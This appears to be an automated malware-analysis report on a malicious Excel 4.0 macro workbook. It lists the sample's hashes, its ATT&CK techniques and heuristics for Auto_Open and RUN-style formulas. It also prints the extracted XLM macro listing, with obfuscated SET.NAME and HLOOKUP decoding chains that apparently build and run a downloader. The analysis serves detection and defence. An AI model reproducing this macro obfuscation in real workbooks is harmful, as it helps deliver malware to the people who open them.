Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1e6a671fc331c486…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:47:18 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 6075b47777f0fea6f616cc6da0052f2b SHA-1: bc2f0b36ee22637362bc1bec13fa27d3aa511380 SHA-256: 1e6a671fc331c48649d560fe91a0b48693f545d4672ca8458784647a51a06872
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook. Heuristics indicate the presence of an Auto_Open macro and the use of dangerous formula APIs, specifically the RUN function. This suggests the macro is designed to execute arbitrary code, likely a downloader for a second-stage payload. No specific family could be identified.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6857 bytes
SHA-256: a026f3dda2a1c948a5c1dee2e820ff03be35f24b2057a82a1752cf4507c0ddf9
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  gDJUMcCfXdc
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A186 
' 0018     22 LABEL : Cell Value, String Constant - BfVCgpX len=0 
' 0018     27 LABEL : Cell Value, String Constant - chQbRNTgdWzm len=0 
' 0018     25 LABEL : Cell Value, String Constant - FjDLgpvfpU len=0 
' 0018     21 LABEL : Cell Value, String Constant - JvOhuu len=0 
' 0018     27 LABEL : Cell Value, String Constant - JZpHUaCkkEFr len=0 
' 0018     20 LABEL : Cell Value, String Constant - KXeLF len=0 
' 0018     26 LABEL : Cell Value, String Constant - KZSgThcuEUj len=0 
' 0018     21 LABEL : Cell Value, String Constant - LtATRT len=0 
' 0018     23 LABEL : Cell Value, String Constant - MLEZjnSk len=0 
' 0018     22 LABEL : Cell Value, String Constant - MUaJlVh len=0 
' 0018     26 LABEL : Cell Value, String Constant - OrjPsnZUXij len=0 
' 0018     25 LABEL : Cell Value, String Constant - OVPEiGDmvk len=0 
' 0018     20 LABEL : Cell Value, String Constant - riEhf len=0 
' 0018     22 LABEL : Cell Value, String Constant - RqOzoff len=0 
' 0018     25 LABEL : Cell Value, String Constant - RrSmlpEUpg len=0 
' 0018     21 LABEL : Cell Value, String Constant - wSqHbJ len=0 
' 0018     27 LABEL : Cell Value, String Constant - XnlvulRUWWuK len=0 
' 0018     20 LABEL : Cell Value, String Constant - zDWmE len=0 
' 0018     21 LABEL : Cell Value, String Constant - zkFTBn len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZkPppCo len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  gDJUMcCfXdc,T80,"",508.00000000000000000000
'  gDJUMcCfXdc,T81,"",-412.00000000000000000000
'  gDJUMcCfXdc,T82,"",-156.00000000000000000000
'  gDJUMcCfXdc,T83,"",-576.00000000000000000000
'  gDJUMcCfXdc,T84,"",-756.00000000000000000000
'  gDJUMcCfXdc,T85,"",-858.00000000000000000000
'  gDJUMcCfXdc,A97,"SET.NAME("KZSgThcuEUj",0+VALUE("0"))",""
'  gDJUMcCfXdc,A102,"SET.NAME("wSqHbJ",KZSgThcuEUj)",""
'  gDJUMcCfXdc,A104,"SET.NAME("MUaJlVh",KZSgThcuEUj)",""
'  gDJUMcCfXdc,A109,"SET.NAME("MLEZjnSk",COUNTA(JvOhuu))",""
'  gDJUMcCfXdc,A112,"SET.NAME("riEhf",COUNTA(RrSmlpEUpg))",""
'  gDJUMcCfXdc,A114,[],""
'  gDJUMcCfXdc,A116,"SET.NAME("zDWmE","")",""
'  gDJUMcCfXdc,A119,"wSqHbJ",""
'  gDJUMcCfXdc,A124,"SET.NAME("LtATRT",HLOOKUP("*",JvOhuu,wSqHbJ,FALSE))",""
'  gDJUMcCfXdc,A126,"XnlvulRUWWuK",""
'  gDJUMcCfXdc,A130,"SET.NAME("KXeLF",KZSgThcuEUj)",""
'  gDJUMcCfXdc,A135,[],""
'  gDJUMcCfXdc,A140,"KXeLF",""
'  gDJUMcCfXdc,A142,"BfVCgpX",""
'  gDJUMcCfXdc,A147,"ZkPppCo",""
'  gDJUMcCfXdc,A150,"RqOzoff",""
'  gDJUMcCfXdc,A152,"SET.NAME("OVPEiGDmvk",VALUE(HLOOKUP("*",RrSmlpEUpg,RqOzoff,FALSE)))",""
'  gDJUMcCfXdc,A156,"FjDLgpvfpU",""
'  gDJUMcCfXdc,A158,"zDWmE",""
'  gDJUMcCfXdc,A161,"MUaJlVh",""
'  gDJUMcCfXdc,A163,NEXT(),""
'  gDJUMcCfXdc,A168,"chQbRNTgdWzm",""
'  gDJUMcCfXdc,A172,[],""
'  gDJUMcCfXdc,A174,"zkFTBn",""
'  gDJUMcCfXdc,A179,NEXT(),""
'  gDJUMcCfXdc,A181,RETURN(),""
'  gDJUMcCfXdc,A209,"SET.NAME("OrjPsnZUXij",A97)",""
'  gDJUMcCfXdc,A214,"JvOhuu",""
'  gDJUMcCfXdc,A216,"SET.NAME("RrSmlpEUpg",R92C14)",""
'  gDJUMcCfXdc,A218,"SET.NAME("zkFTBn",225)",""
'  gDJUMcCfXdc,A221,"SET.NAME("JZpHUaCkkEFr",1)",""
'  gDJUMcCfXdc,A224,OrjPsnZUXij(),""
'  gDJUMcCfXdc,A225,HALT(),""